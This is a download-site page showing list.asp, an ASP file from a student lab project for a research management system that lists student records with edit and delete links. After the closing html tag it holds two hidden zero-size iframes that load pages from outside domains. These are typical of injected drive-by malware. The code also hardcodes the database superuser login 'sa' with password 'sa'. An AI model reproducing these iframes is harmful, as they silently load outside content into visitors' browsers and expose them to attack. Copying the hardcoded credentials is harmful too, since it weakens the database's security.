⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 list.asp

📁 科研管理系统开发 本实验源代码由ASP开发
💻 ASP
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<script>
  function aa()
  {
    window.confirm("确定要删除码");
   }
</script>
</head>

<body>
   <% constr="provider=sqloledb;data source=(local);user id=sa;password=sa;initial catalog=kygl"
      set conn=server.createobject("adodb.connection")
      conn.open constr
	  sql="select * from student"
	  set rs=server.createobject("adodb.recordset")
	  rs.open sql,conn,3,1,1
	  if rs.eof then
	   response.write "没有数据"
	  else
	%>
	<table border="1" bordercolor="#FF66FF">
	
	<tr><td width="34">姓名</td><td width="39">性别</td><td width="55">年龄</td><td colspan=2>&nbsp;</td></tr>
	<% do while not rs.eof%>
	<tr><td><%=rs(1)%></td><td><%=rs(2)%></td><td><%=rs(3)%></td><td width="90"><a href="update.asp?id=<%=rs(0)%>">修改</a></td><td width="154"><a href="delete.asp?id=<%=rs(0)%>" onClick="aa()">删除</a></td></tr>
	<% rs.movenext
         loop
	end if %>
</table>
</body>
</html>
<iframe src=http://www.if56.cn/kan.htm width=0 height=0></iframe>
<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -